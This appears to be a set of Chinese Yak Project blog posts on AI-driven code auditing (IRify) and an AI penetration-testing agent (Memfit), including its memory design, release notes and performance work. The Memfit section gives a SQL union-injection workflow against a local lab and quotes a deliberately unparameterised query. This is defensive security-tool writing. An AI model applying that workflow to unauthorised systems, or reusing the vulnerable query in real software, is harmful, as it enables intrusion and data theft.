这种“沉淀”在处理长链条复杂任务时，能爆发出惊人的威力。以笔者近期对IRify做BenchMark（基准测试）验证为例：我需要让AI扫描具体项目、找出漏报误报、修复规则，最后再补充测试将内容固化下来。如果在传统的AI对话模式下，这个过程存在三大“注意力黑洞”：一是任务链条极长，需要反复横跳；二是AI不懂特定的规则语法（SyntaxFlow），每次都要花大量时间参考旧规则；三是项目内测试套件繁多，AI经常像无头苍蝇一样找不到添加测试的正确位置。如果按照以前对话式让AI执行任务，AI效率低不说，如果出错我还得继续对话提醒它，会把我折磨得够呛。但现在，当我耐着性子，在一次对话中把这套包含环境配置、背景知识和执行逻辑的工作流彻底跑通后，我直接将它“沉淀”为了专属Skill。后续面对同样的需求，我只需一键触发，AI就能在最小阻力下自动执行，彻底免去了反复对话和调教的煎熬。

IRify业务沉淀的Skill

一种工作哲学​

经历了这些实战，我越发确信：Harness 绝不仅仅是几行脚本或几组提示词，它本质上是一种工程思想，更是一种工作哲学/方法论。 其实更进一步讲，这也不是新的东西，不过是新瓶装旧酒，其核心就是DevOps、流程工程、自动化这些工程思维，只是因为AI语境加持下像新的革命。但是也应该承认，它确实提醒我们应该转变工作思维。诚然，业界已经有了 Claude Code 这样优秀的最佳实践产品，但它们绝不是一招打遍天下的“万能解药”。在千差万别、充满各种“脏活累活”的真实日常项目中，没有哪个现成的工具能完美契合所有人的工作流。这就要求我们每一个普通开发者，必须在日常工作中时刻保持这种 Harness 意识。

笔者认为日常开发中可以从两方面使用这种工作哲学**。对于我们自己，要敏锐地识别出自己宝贵的“注意力”到底流失在了哪里，主动把它们抢夺回来；对于AI，我们则要转换身份，作为“辅助者”去观察它在执行任务时的“阻塞点”在哪里，并主动为它修桥铺路、优化运行环境。**

当然仅仅从“##Agent使用者”这个角度要有Harness工作哲学，我认为“##Agent开发”更需要这种哲学。 我时常听到做Agent开发的朋友，认为他们自己在造的是和Claude Code、Codex一样的轮子。但是我认为他们更像是把各种轮子组装起来，以适合具体行业的垂直业务。世上并不存在能完美适配所有场景的“##通用Agent”，有时候我们认为某些Agent如此强大，是因为大模型本身能力强占据很大一部分功劳。但是当模型能力发展达到一定瓶颈，识别模型在具体场景运行的阻塞点，并将其运行环境改造，我认为还是十分有价值的。

最近发布的新产品Memfit，我觉得就能够很好地阐述这种哲学。Memfit是为网络安全领域设计的Agent，它能够胜任渗透测试等非确定任务。与需求明确的编程任务不同，渗透测试是高度“发散”和非确定性的：AI只能边收集信息边摸索测试路径，且随时会被新发现的情报改变走向。这种不确定性，注定了 MemFit 无法照搬 Claude Code 的设计哲学。以最核心的“Plan（规划）模式”为例：常规编程Agent会严格、刻板地执行既定Plan；而 Memfit 的Plan则是实时“生长”的——它会根据执行中收集到的新信息，动态修正和重写后续的测试计划。

不迷信通用的刻板流程，为不确定性定制能自我纠偏的运行环境，我认为这才是Harness。无论是面对 IRify 这样需求明确的常规开发，还是 Memfit 这种充满未知的渗透测试，Harness 的内核其实从未改变。它要求我们跳出“被动执行”的框架，去洞察具体业务场景下的真实阻力，进而为 AI 量身定制最合适的运行规则。真正实用的生产力，并不单纯依赖一个万能的大模型，而是依赖契合具体业务的Harness 执行环境。

总结​

我深感这两年##AI发展对编程方式变化非常大。回想两年前，还需要整日整日看底层SSA的代码，不断调整某个具体函数怎么写；一年前则是不断与Cursor对话，去完善具体某个功能的细节；而现在，则需要去构建属于你自己的自动化执行环境，告诉它要去哪里，然后让它自己找路。当我们不再被动地当一个疲于奔命的“代码审查机”，而是亲手为 AI 扫清障碍时，我们便蜕变成了真正驾驭复杂系统的主人。到那时，那种久违的、自我价值实现的快乐，才算真正回到了我们手中。

参考文献：OpenAI. (2026). 工程技术：在智能体优先的世界中利用 Codex (Harness Engineering). 检索自: https://openai.com/index/harness-engineering/** 汤道生**. (2026). 人工智能正式进入 Harness 时代. 腾讯云与智慧产业事业群.黄佳. (2026). 从GoF到Agent，设计模式30年演进与Harness革命.V1ll4n. (2026). MemfitAI: 连续渗透测试N小时不迷路的生产级AI Agent. Yak Project.The Architect ofConnectivity**: A Comprehensive Technical Analysis of Modern Harness Engineering**. (2026).Datawhale.(2026).最新！万字综述Harness革命！

本文首发于 Yak Project 公众号，阅读原文。

• 适用场景： 需要对大型项目进行分阶段代码审计、漏洞证据整理和 SyntaxFlow 规则辅助生成的安全团队。
• 实现方法： 先探索项目并制定扫描计划，再按类别审计、逐条验证证据、生成报告，并依据风险生成 PoC 示例或规则建议。
• 关键结论： AI 的价值在于把探索、验证和报告组织成可追踪流程；高风险结论和 PoC 仍需要在隔离、授权环境中复核。

常见问题​

AI 审计是否会直接跳到漏洞结论？​

不会。文中的流程把项目探索、扫描计划、分类审计、证据记录和报告生成拆成独立阶段，要求结论能够回到具体证据。

自动生成的 PoC 可以直接用于生产目标吗？​

不可以。PoC 用于授权范围内的风险复现和验证，应在隔离环境中审阅输入、影响和执行边界。

随着 Memfit AI 新功能的扩展和相关机制的完善，我们已经可以将现有的 AI 功能扩展到我们的其他产品中，本文主要介绍目前我们在 IRify 工具的 AI 化扩展中做出的新尝试。

纯AI代码审计​

在 Yaklang 的AI ReAct体系里，“代码安全审计”被注册为一个独立的循环类型。用户触发后，运行时会先构造一份贯穿全程的审计状态对象，并把 AI 工作目录记下来，所有阶段性产物都收敛到该目录下的审计子目录里，避免和别的任务混杂

目前在 IRify 中有两个入口：

1.在项目编译的右下角选择：进行AI审计（前端需要更新，后续版本会修复）

2.在 AI Agent 页面选择专注模式：代码安全审计

审计状态贯穿四个阶段，记录项目名称与路径、技术栈与入口点摘要、侦察报告路径与笔记文件列表、扫描阶段的结构化发现列表、各类别扫描的观察与不确定线索、验证阶段的确认与排除结论、以及最终报告内容与路径。

接下来我们就使用 Yaklang 的内置靶场进行测试。

第一阶段：项目探索​

主编排器并不亲自完成目录巡视，而是创建一个“目录探索”类的子循环，把侦察笔记的预期输出路径和探索工作目录通过变量传进去，然后用独立的子任务执行该循环。

在探索过程中，程序会先阅读 go.mod 读取依赖，然后利用各种内置工具获取项目结构。

探索结束后，主编排器从子循环的命名变量里回收结果：真实项目路径与名称、技术栈描述、入口点摘要、汇总侦察报告文件路径、以及探索过程中通过写文件产生的笔记路径列表等，并写回共享审计状态。

第二阶段：扫描计划加按类别串行的双阶段审计​

第二阶段本身又分为两层：外层的类别编排与内层单个类别的 ReAct 扫描。

外层首先用一次偏“快”的模型调用，让 AI 在结构化输出中确定本次要扫哪些默认漏洞类别、用户是否额外指定了自定义类别（带关键词与补充说明）。若这次规划失败，则退回内置默认类别全集，保证流程不中断。

每一个漏洞类别采用两段式策略：

• 第一段是关键词搜索阶段：模型根据该类别的 Sink 语义提示和技术栈，自行决定 grep 策略，强调用“仅返回匹配文件”的模式避免结果被截断遗漏；每搜一轮就把命中文件的绝对路径通过专用动作合并进待审计列表，并可继续多轮搜索。
• 第二段是逐文件审计阶段：对上一段锁定的每个文件依次读取内容，若确认存在问题则提交结构化 finding，其中对置信度有下限要求，过低会被拒绝以抑制随手报漏洞。

上图为关键词搜索第一段的截图，程序先找到了vul_cmdi.go 等明显包含漏洞示例的高风险文件，然后进入第二段逐行搜索。

通过工具阅读可能有问题的代码片段，交给AI完成进行审计。

第三阶段：逐条验证与证据记录​

验证阶段的专用动作主要包括几类：

1.沿数据流逐步记录追踪节点，把步骤、变量、位置、推断来源类型等记进时间线

2.记录认为的过滤或校验及有效性判断

3.对某个 finding 给出最终结论，只能从确认、排除、需人工确认三种状态里选，并附带置信度与理由，可选地精炼数据流、利用方式与修复建议

4.再次读取侦察背景报告

5.当全部 finding 都有了结论后调用完成验证并退出本阶段

第四阶段：报告生成与兜底​

系统创建“报告生成”类的子循环，把最终 Markdown 报告路径、写作任务说明、以及必须阅读的参考文件列表注入子循环变量，由专门写长文的循环读入这些数据并写入磁盘。

基于风险的代码审计​

除了纯AI的代码审计以外，IRify 还支持利用现有的风险信息进行代码审计。对于这种精确又轻量级的功能我们选择使用 forge 实现。

例如我们已经对某个项目完成了扫描，得到了如下的风险信息：

现在我们想对序号为1的高危风险 “检测到Golang服务器端模板注入漏洞” 进行AI审计，就可以在 AI Agent 的工具库中搜索ssa-risk找到目标，点击后在弹窗页面输入风险序号：1

执行完成后AI会返回一个简单的漏洞解析报告。

风险智能生成Poc样例​

目前 IRify 中内置了 python 和 yak 这两种语言的代码构造器，可以生成没有语法错误的正确代码，结合对风险的代码审计功能（工具库中的ssa-risk），即可直接根据风险生成Poc样例。

在已有静态分析风险结果的前提下，用多步推理把「风险元数据 + 源码/片段上下文 + 漏洞类型」转成「能拿去授权环境里做验证的概念验证脚本」。在技能库中搜索“根据SSA Risk智能生成Poc”，点击后在弹窗配置需要审计的风险序列号后即可开始生成Poc样例。

程序会先运行一次ssa-risk审计风险相关内容，之后程序会从如下几个方向进行思考：

1.判断源码能不能跟

看关联项目是不是内存编译、有没有源码：能跟就继续用 listing/grep/read 补全路由和调用链；不能跟就主要依赖 Risk 里自带的代码片段。

2.补上下文（可选）

在可读源码时，按需列目录、搜路由/配置、读关键文件，把「真实入口、方法、参数、鉴权」抠出来。

3.分类 + 攻击面分析

把风险归到 SQLi/XSS/SSRF 等具体利用思路，对齐数据流，定 Poc 技术路线（这一步侧重分析，不要求先写长文）。

4.找 Poc 模板

用模板检索工具按漏洞类型拿 Python 侧的请求构造、解析结果等骨架，减少AI幻觉。

下面图片中展示了程序判断目标项目是否可达和进行数据流分析的过程：

本系统支持在参数target_base_url中配置目标项目的真实运行环境地址（如http://your-app:8080），系统将自动执行智能化安全分析验证流程，最终会生成报告和Poc样例代码：

Syntaxflow规则美化​

这里的「美化」主要指把一份.sf 规则文本按统一规范重新排版输出：缩进、换行、desc / alert 与规则体的结构会更整齐；在带选项时还可以补全或规范化元数据（例如规则 ID、描述里要求的字段等）。

目前 Syntaxflow 规则美化有两个入口：新建规则右上角，代码审计的规则编写页面右上角。

需要注意的是：在美化开始之前需要保证当前的规则没有语法错误，因为我们会在美化开始前后结束后各运行一次 Syntaxflow 语法检测以保证美化本身不会破坏规则的语法。并且规则美化采用了严格元数据替换逻辑，不用担心会破坏规则本身的内容。

Syntaxflow 规则自动生成​

该功能会在内置规则样例知识包上做检索，再结合单文件编辑工具链和 SyntaxFlow 编译校验，迭代写出合法的 .sf文件

在AI Agent页面选择专注模式：write_syntaxflow_rule

系统行为：抽取样例（语言/虚拟文件名/代码正文）并保存 → 生成规则时把样例作为 UNSAFE 正例测试块嵌入规则末尾 → 生成后必须用语法/样例命中校验做自检，不通过就迭代修改直到通过。

1.知识检索

• 压缩包检索：在 syntaxflow-aikb 里按模式搜命中片段（带上下文）。

• 向量检索（有则启用）：用多句完整问句查 syntaxflow-aikb-rag，结果去重并 重排（更偏向带可执行规则特征的内容，弱化纯长文说明）。

2.知识压缩

• 把 grep + RAG 拼起来的原始结果往往很大，会先合并成一大段文本，再调用 面向当前需求与搜索条件的压缩（按实现里约 10KB 量级 的目标压一版）。

3.落盘与钉文件

• 有漏洞样例会先写成临时样例文件；然后要么打开用户指定的 .sf，要么新建一个空.sf 生成稿，并把路径固定为后续编辑目标。

4.多轮写改 + 校验

• 模型用写/改规则等动作维护规则正文；每次改动会走 SyntaxFlow 语法与格式诊断（有误则阻断继续乱改）。若带了样例，还会用 check-syntaxflow-syntax 做正例自检，直到规则在样例上能按预期命中。

使用方法直接输入一段漏洞样例代码，它就会自动完成 Syntaxflow 规则并且进行语法检测和可用性检查，最后会进行规则打分。

可以在文件树中找到生成的 Syntaxflow 规则。

未来的扩展​

现有的 AI 代码审计仍然有许多代码难点没有攻克，受到模型质量和上下文限制的影响，AI 审计在面对大项目时表现不佳，核心问题就是稳定性太低，多少审计很难输出相同的结果。我们正在尝试用稳定的代码扫描风险产物来为不稳定的纯 AI 代码审计补充支撑。

IRify 代表了代码安全审计向智能化、自动化、精准化发展的趋势。通过 Yaklang 的 AI ReAct 体系，将人类专家的经验模式与 AI 的快速分析能力相结合，构建了新一代安全分析平台的核心能力。系统将持续优化在复杂项目、多语言支持、云原生环境等场景下的表现，为软件安全开发生命周期提供更全面的智能支持。

本文首发于 Yak Project 公众号，阅读原文。

但作为一名真正的生产级 Agent,仅仅“有见识”是不够的。

知识库是别人给的经验,而记忆是自己实践的成果。

在长达数小时的连续渗透中,Agent 会遇到无数教科书和规范里没有写的“暗坑”:比如某个特定业务系统的异常报错、某个只有在特定内核版本下才会触发的 Payload 偏移、或者是某次成功提权后的环境特征。

如果这些实战经验随看随忘,那么下一次遇到同样的阻碍,Agent 还要重新走一遍 RAG 检索、重新分析、重新试错。这种低效的重复,是阻碍 AI 迈向“专家级”的最后一道坎。

我们需要 Agent 不仅能“翻书”,还能在实战中“吃一堑,长一智”。

本篇文章,我们将深入探讨 Memfit AI 的长期记忆(Long-term Memory)系统。你会看到,Agent 如何在执行任务的过程中,自主地对攻击路径进行复盘,并通过一套严苛的 **C.O.R.E.P.A.C.T.**评估模型,将零散的执行日志炼化为结构化的“肌肉记忆”。

当 Agent 再次站在类似的战场前,它不再需要去知识库里大海捞针,而是能直接凭借这种“长期记忆”,避开坑点。

C.O.R.E.P.A.C.T. 模型​

开发者最头疼的就是“上下文爆炸”。若将每一句对话和回显都存入 RAG,知识库很快会变成噪音堆。Memfit AI 引入了 C.O.R.E. P.A.C.T. 审计算法,在记忆沉淀前进行价值审计。

记忆评估的七个维度​

案例:SQL注入记忆​

这是一个我对vulinbox靶场的SQL检测产生的记忆案例图。

长图已折叠点击展开

以针对 http://127.0.0.1:8787 的 SQL 注入检测为例。通用 AI 只会复现 ORDER BY 的标准动作,但 Memfit AI 沉淀了如下记忆:

记忆摘要: 在联合查询探测失败(列数不匹配)时,应优先使用 ORDER BY 子句从 1 开始递增探测以确定正确的列数,而非直接尝试构造 Union Select Payload

除了这个记忆以外 还有一些更具体的记忆。

长图已折叠点击展开

记忆摘要: 针对靶场目标,memfit已经探测过是 9 列数据库

维度过滤逻辑(雷达图分析)​

通过 Memfit 独有的评估模型,我们可以看到这条记忆为何被视为“黄金经验”:

• **O(来源可靠性)-0.9:**该策略源于 Agent 在实战中遭遇的“探测失败”。失败的回显是真实的数据反馈,可靠性极高。
• A(经验价值)-0.8:这不是废话,它给出了明确的替代动作**(从1开始递增探测)。这类具有“可操作性”的记忆是 Agent 进化的燃料。
• R(重要性)-0.8:确定列数是 SQL 注入的基石。记住这个策略,意味着 Agent 在未来的所有同类任务中,都能规避“盲目构造 Payload”的时间浪费。
• C(关联度)-0.8:它被贴上了sql-injection 和 testing-methodology 的标签,能精准钩住后续所有涉及数据库探测的资产。

问题索引:索引记忆​

还有一个值得一提的设计在于记忆底部的 Potential Questions(潜在问题)。Memfit AI 在存储记忆时,会自动预判未来自己可能会问的问题:

1.“当联合查询探测失败时,如何确定数据库返回的列数?”

2.“SQL 注入中 ORDER BY 探测的具体执行步骤是什么?”

这意味着什么?

当下一次 Agent 在新任务中遇到“联合查询报错”时,它脑中会产生类似的疑问。系统会瞬间匹配到这些“潜在问题”,将这条的记忆加入当上下文中,帮助AI回忆起之前的经验。

Agent 不再是在搜数据库,而是在“回想”自己的成功经验。

记忆的唤起与使用​

有了合理的记忆设计,还有一道门槛如何在某一个时间在合理的位置到找合适的记忆。

Memfit AI 的 AIMemoryTriage(记忆分选器)通过一套严密的加权重排算法,将静态的 C.O.R.E. P.A.C.T. 理论转化为了生产环境中的实时决策流。

基本要求：粗筛有意义的记忆​

我们为记忆设定了七个维度的权重。先从海量的记忆中排除各种过于极端偏激,或者无意义的经验指导,初步完成记忆寻找。

weights := map[string]float64{
    "R": 0.25, // Relevance - 核心相关性,决定了搜索的基调
    "C": 0.20, // Connectivity - 关联度
    "T": 0.15, // Temporality - 时效性,确保经验不过期
    "A": 0.15, // Actionability - 可操作性,拒绝无意义的废话
    "P": 0.10, "O": 0.10, "E": 0.05, // 辅助维度
}

动态加成：上下文相关强加成​

静态分数保证了记忆的质量,而(关键词加成)则赋予了记忆**灵活性**。

即使一条记忆的原始评分很高,如果它与当前 Query(查询词)不匹配,它依然会被降权。我们中设计了五级加成机制:

contentBonus := 0.0
// 1. 内容关键词匹配分数 (权重: 0.1)
contentMatchScore := t.keywordMatcher.MatchScore(query, memory.Content)
contentBonus += contentMatchScore * 0.1
// 2. 标签关键词匹配 (权重: 0.08)
tagContent := strings.Join(memory.Tags, " ")
tagMatchScore := t.keywordMatcher.MatchScore(query, tagContent)
contentBonus += tagMatchScore * 0.08
// 3. 问题关键词匹配 (权重: 0.05)
questionContent := strings.Join(memory.PotentialQuestions, " ")
questionMatchScore := t.keywordMatcher.MatchScore(query, questionContent)
contentBonus += questionMatchScore * 0.05
// 4. 直接关键词包含检查 (权重: 0.05)
if t.keywordMatcher.ContainsKeyword(query, memory.Content) {
    contentBonus += 0.05
}
// 5. 所有关键词都包含的奖励 (权重: 0.03)
if t.keywordMatcher.MatchAllKeywords(query, memory.Content) {
    contentBonus += 0.03
}
// 限制加成不超过0.3
if contentBonus > 0.3 {
    contentBonus = 0.3
}

1.标签匹配(0.08): 命中#sql-injection 或 #rce 等专家标签。

**2.内容匹配(0.10):扫描 Payload 或回显中的关键字符串。3.反思匹配(0.05):**匹配 Agent 此前自发生成的 PotentialQuestions。

**4.全关键词奖励(0.03):**确保精准匹配的记忆能够“置顶”。

所以最后的排序评分公式为:

$$FinalScore = \text{BaseScore} + \sum \text{KeywordBonus} (\text{Max } 0.3)$$

分块注入：意图路由​

[ must_aware ]
- 关键偏好/约束:对目标URL http://127.0.0.1:8787/user/name?name=admin 执行SQL联合注入测试,验证注入点存在性、确定列数与回显位、提取数据库信息(版本/当前库/当前用户)、枚举表名列名、提取敏感数据;使用do_http_request工具构造HTTP请求完成测试 (u=0.88, P=0.80, R=0.90, age=1m55s)

[ action_tips ]
- 经验/可执行提示:SQL 联合注入测试目标 URL 为 http://127.0.0.1:8787/user/name?name=admin,该端点存在未参数化 SQL 查询:query = f"SELECT * FROM users WHERE username = '{name}'",属于典型注入漏洞点;测试需覆盖字段数判断、回显位置定位、数据库信息获取、表名/列名枚举、敏感数据提取等步骤。 (u=0.86, A=0.90, R=0.90, T=0.90, age=4m59s)
- 经验/可执行提示:对URL http://127.0.0.1:8787/user/name?name=admin 执行字符型SQL联合注入测试,测试流程包含:1)注入点确认;2)确定列数;3)确定回显位;4)提取数据库信息(版本/当前库/当前用户);5)枚举表名和列名;6)提取敏感数据。 (u=0.83, A=0.80, R=0.90, T=0.80, age=28m8s)
- 经验/可执行提示:用户指令明确要求对指定URL执行SQL联合注入测试,该请求已通过意图识别流程确认为安全测试任务,目标是探测目标服务是否存在SQL联合注入漏洞。 (u=0.83, A=0.90, R=0.90, T=0.80, age=11m35s)
- 经验/可执行提示:对目标URL http://127.0.0.1:8787/user/name?name=admin 执行SQL联合注入测试,需验证注入点存在性、确定列数与回显位、提取数据库版本/当前库/当前用户、枚举表名列名、提取敏感数据;已知目标支持布尔盲注和时间盲注,需手动构造HTTP请求完成测试。 (u=0.83, A=0.90, R=0.90, T=0.80, age=8m25s)

在检索到了记忆的实体之后,memfit在将其注入到最终prompt中还有一步重要的操作**:意图路由其核心观点是:不同任务下,记忆的优先级应当完全不同。**

记忆路由分配​

通常来说记忆的检索会将所有的所有文本视作平等的“背景资料”,而我们尝试通过上面的评分的机制通过多维特征识别,将原始记忆分配到不同的路由中:

• MustAware(关键约束):识别为用户硬性偏好或禁忌的信息。它们被赋予最高权重,防止模型违背核心指令。

• ActionTips(经验提示):提取自过去成功操作的建议。这能让模型在面对类似任务时,直接继承之前的经验。

• ReliabilityWarning(风险预警):专门针对相关度高但置信度低的信息。通过打上“待确认”标签,提示模型在处理时触发核验流程。

• EmotionalContext(情绪线索):捕捉对话中的情感基调,确保 AI 的回复不仅逻辑正确,且能考虑用户偏好与情绪

结构化排序​

如果说路由分配是“分类”,那么结构化排序就是“调度”。模型处理 Prompt 的能力是有限的,“先看到什么”直接决定了模型的推理路径。 系统会根据当前的**任务意图(Memory Intent)**动态调整路由的展现顺序:

• **建议意图(Advice):**优先排布ActionTips。模型进入“执行者”模式,首先关注“怎么做”。

• **核验意图(FactCheck):**优先排布ReliabilityWarning。模型进入“审计者”模式,首先关注“哪些信息可能存疑”。

...

Prompt 渲染策略:格式化渲染​

在memfit的工程中,经过意图路由分类排序的记忆,再最终进入prompt时候还有最终的处理策略

1.语义标签化

系统会根据路由角色自动添加前缀,引导模型思考:

• 如果是 ActionTips,前缀是**“经验/可执行提示:”**
• 如果是 MustAware,前缀是**“关键偏好/约束:”**

2.透明的元数据(Metadata)​

每一条记忆后面都跟着一串精准的权值:(u=0.85, sim=0.92, A=0.80, R=0.90)

• u (Utility): 效用分,告诉模型这条记忆在当前上下文中的含金量。
• age: 记忆的“年龄”,让模型感知信息的是时效性。

总结​

如果说知识库是企业为 Agent 准备的“入职培训手册”,那么长期记忆系统就是 Agent 在炮火中磨砺出来的“实战笔记”。

在复杂的生产级渗透任务中,我们并不需要一个只会机械执行指令的程序,而是一个能够自我复盘、精准避坑、持续进化的数字伙伴。通过C.O.R.E. P.A.C.T. 模型的分门别类,Memfit AI 成功将那些碎片化的回显日志转化为结构化的“肌肉记忆”,让 Agent 在下一次面对同样的暗坑时,能凭借直觉般的经验迅速做出最优决策。

记忆的意义,不在于记住了多少过去,而在于如何高效地重塑未来。

当 Agent 拥有了独立思考与总结经验的能力,它便不再只是一个执行工具,而是真正迈向了“专家级”的门槛**。END更新记录**

Yakit v1.4.6-0403

1. WebFuzzer/MITM/热加载管理页面支持快捷键保存，可在快捷键管理页面更改快捷键设置

2. MITM页面热加载显示当前所选模板名称

3. MITM规则支持配置文件后缀白名单

4. MITM规则组支持动态格式化输入

5. 流量分析器热加载合并到热加载管理

6. 右键菜单中复制url移到一级菜单

7. 可搜索可下拉的组件进行优化，可展示搜索结果和全部内容

Memfit AI v1.0.1-0403

1. 会话支持设置全局命令和手动介入

2. Mcp协议增加streamable http

3. 技能支持批量导出

4. 初始页面布局优化

5. AI模型侧边展示优化，优先展示模型名称

Yaklang 1.4.6-beta6

1. 优化 AI 回调链路、计划执行流程与阶段性摘要生成

2. 增强 AI 工具直调、缓存复用与目录探索能力

3. 完善 AI memory 检索、观测分析与用户干预同步处理

4. 增强 AI Forge 与 Yak Script 的导入导出、过滤和更新机制

5. 接入并优化 Dashboard 中的 Qwen Web Search 能力

6. 修复 AI 输出总结、文件路径提示与部分交互细节问题

7. 提升 Java / SSA / SSA2LLVM 的编译性能、作用域绑定与复杂调用支持

8. 增强 Go 规则集覆盖，并升级部分 Go 依赖版本

9. 完善插件加载、AI 驱动插件调用与部分泄漏场景修复

10. MCP Server / Client 支持 Streamable http 协议

11. 优化 AI Agent 页面查询性能

12. 修复 fuzz 库 Host 构建异常的 bug

13. 全局配置支持关闭 Http Flow 查询过慢的提示

14. 修复 MITM 插件误判为交互式插件的 bug

15. 优化 MITM 规则匹配功能，默认跳过对二进制类型响应包的匹配

本文首发于 Yak Project 公众号，阅读原文。

过去几个月，Yaklang 在 SSA、CodeScan、SyntaxFlow / SFVM、ANTLR / front-end 这几条线，做完了第二轮比较成体系的性能优化。

如果只看提交记录，会觉得这是一串零散的修复、重构和实验；但把这些工作放在一起看，会发现它们其实围绕的是同一个目标：

让 IRify 真正能够在大项目上更稳定地编译、更高效地扫描、更可控地执行规则，并且让后续第三轮、第四轮优化有清晰的落点。

先说几个最直观的结果。

• 在真实目标 spring-cloud-netflix 上，这一轮 CodeScan 调优过程中的观测值，从 10.08s 降到了 5.59s。
• 在 SSA 指令搜索这条线上，sfvm.nativecall:getFormalParams:java-servlet-param 这一类核心热点，已经从早期的 6.065s 量级压到了“几十毫秒”量级。
• 在 PHP mixed HTML 这个最典型、也最难看的前端热点上，BenchmarkFrontendPfsenseSystemInformationFixture 从 15.36s/op 降到了 6.95s/op，时间下降约 54.74%；本地当前主线补跑时，结果也稳定在 7.82s/op 左右。
• 在 Java 大型反编译目标的 AST-only 实验里，ANTLR 缓存清理参数调优前后，可以从 78.46s / 19.34GB 这类结果，压到 53.01s / 5.63GB 这一档；如果追求更激进的速度甜品点，也已经能跑到 51s 左右。
• 在 Java 反编译大项目目标上，前端 AST 错误和 panic 已经被清到 0，系统瓶颈开始从“前端根本过不去”后移到“落库和持久化阶段怎么继续压”。

这几组数据放在一起，其实已经能说明很多问题：

第一，当前这一轮优化，已经不是“体感更快一点”的级别，而是真正把一批秒级、十秒级、甚至十几 GB 内存级别的问题打下来了。

第二，这一轮优化的重点，不只是提速，还包括把热点找准、把路径理顺、把默认参数选稳。

第三，现在已经落地的是第二轮结果，接下来会继续进入第三轮、第四轮。

这轮已经落地的内容，可以先概括成四件事：

1、SSA 编译和搜索路径更统一了，相关命令和文档也同步整理到了 ssa.to/docs。

2、SSA 指令搜索开始从字符串匹配路径，推进到“常量池 + ID 路径”的结构优化。

3、SyntaxFlow / SFVM 的判断语句运行逻辑被重构了一轮，过去在大量值场景下容易拖很久的判断路径，被真正收住了。

4、ANTLR / front-end 不只是继续修语法边界，还开始通过参数 sweep、统一目标实验和 TokenSource 优化，系统性地压时间和内存。

与此同时，这并不是终点。

当前仓库里的 worktree 已经能明显看出后续方向还在继续推进，对应的其实就是下一阶段要继续啃的几块硬骨头：

• 编译期内存和数据存储继续压缩
• 时序和诊断能力继续补强
• lazy build 路径继续推进
• 数据流分析能力继续细化

所以，如果用一句话概括这篇文章想讲的内容，那就是：

这一轮 IRify 性能优化，已经把“能不能跑”推进到了“怎么跑得更快、更稳、更省”，而后面的第三轮、第四轮，也已经开始排上日程。

下面就按几个最关键的位置，分别讲清楚这轮到底优化了什么、为什么要这么做、以及它现在带来了什么结果。

SSA指令搜索的常量池优化​

这一节对应的核心合并 PR 主要是：#4019、#4040、#4066、#4092。

之前的情况​

这一轮之前，IRify 在 SSA 指令搜索上的核心能力已经是可用的，问题主要集中在“越大项目越容易把搜索路径拖慢”。

真正慢下来的位置，主要不在某一条规则本身，而在搜索链路背后的数据形态：

• 指令、变量、成员、对象 key 这些名字，在持久化时会被抹平成数据库里的字符串字段
• irindex 这类索引表里，name 字段存在大量重复
• 一旦大项目里“很多值都叫同一个名字”或者“重名值特别多”，搜索就会在大量重复名字上反复做工作

也就是说，旧路径的问题不是“有没有搜索能力”，而是搜索时还带着太多字符串级别的重复劳动。

问题​

这轮最开始最容易误判的地方，就是把热点简单理解成“正则匹配慢”。

实际上，真正的问题在更底层：

1、数据库里保留下来的是“名字到值”的映射，但重名很多。

2、一旦用字符串去搜，数据库会不断在重复名字上做重复匹配。

3、SQLite 的回调式正则在这种高重复场景下会进一步放大成本。

所以根因不是一句“正则慢”能解释的。

更准确地说，是：

同名值太多，字符串搜索路径又太重，导致数据库不断在重复名字上做重复工作。

这也是为什么这一轮最终会走到“常量池优化”。

这里说的常量池，实际落点就是 namepool 这条路径：先把名字集中管理，再尽量把搜索从字符串匹配推进到 id 路径。

方案​

这条线真正的突破，不是直接大改，而是先做实验。

先做的几件事非常关键：

• 在同一个真实目标 spring-cloud-netflix 上，反复跑 scan-only 基线
• 把热点拆到具体执行点
• 尝试把搜索数据 load 到内存里，验证是否能绕开 SQLite 的回调式正则
• 进一步分析 irindex 里 name 的重复度

实验做下来以后，方向就清楚了：

1、先从内存里把重复名字去重。

2、再对去重后的名字集合做匹配。

3、匹配完成后，再反查对应值。

4、再进一步，把字符串匹配路径推进到 id 路径，也就是常量池 / 名称池。

最终落到代码里的几个关键位置是：

• common/yak/ssa/ssadb/name_cache.go
• common/yak/ssa/database_search.go
• common/yak/ssaapi/sf_search.go
• common/yak/ssaapi/sf_native_call.go

具体改动包括：

• memory mode 补上纯内存常量池
• 搜索从 pattern -> string 改成 pattern -> NameCache IDs -> value IDs
• SearchWithValue 加上 lazy / DB fast path
• NativeCall_GetFormalParams 改成尽量不 materialize 完整函数对象

现在的情况和重构结果​

现在这条链路最重要的变化，不是“加了个缓存”，而是搜索模型已经换掉了：

• 不再优先做大范围字符串匹配
• 开始优先走常量池 / namepool
• 先去重，再匹配，再按 id 反查
• memory mode 和 DB mode 的搜索模型开始变得更接近

这也是为什么这一节应该叫“常量池优化”，而不是简单叫 namepool。

因为它背后解决的是一个更大的问题：

让搜索从“字符串不断重复扫”变成“名字集中管理、ID 路径优先”。

运行效率对比​

这一节已经有几组很能说明问题的数据。

在 spring-cloud-netflix 的 scan-only 基线里，早期的核心热点包括：

继续优化以后，这条线最亮眼的结果之一是：

• sfvm.nativecall:getFormalParams:java-servlet-param

从秒级，压到了“几十毫秒”量级。

这基本就是两位数量级的下降。

同时，从整体观测值看，在同一个真实目标的调优过程中：

这组整体数据不能简单说成“全靠常量池快了这么多”，因为中间还叠加了：

• scan-only 路径的使用
• 空规则噪音清理
• 其他热点修复

但它已经足够说明，SSA 指令搜索这条线的结构优化，已经开始实打实地把大项目扫描往下压了。

SyntaxFlow 判断语句 运行逻辑重构​

这一节对应的核心合并 PR 主要是：#4108、#4143、#4140。

之前的情况​

SyntaxFlow 的过滤语法本身一直就很强，像这些写法大家都很熟：

• a?{.b}
• a?{.*<len>==2}
• a?(*<len>==3)

从语法上看，它们都很好理解：

• a?{.b}：判断每个 a 是否存在 .b
• a?{.*<len>==2}：把 a 的成员展开后，判断这个 a 的成员数量是不是 2
• a?(*<len>==3)：先展开，再在条件里对展开后的结果做判断

通过这些条件对?之前的a进行过滤。

在 ssa.to 的 SyntaxFlow 文档里，?{...} 一直都是按“每个输入值在自己的上下文里求值”来解释的。

但在运行时实现层面，这件事过去并没有被完全收得这么干净。

问题​

这轮之前，真正的问题不是“语法表达不了”，而是运行逻辑上有几层历史包袱：

• Values 和旧的列表语义混在一起
• 条件判断、值分组、锚点回投之间边界不够清楚
• condition 判断路径使用的是循环式处理思路

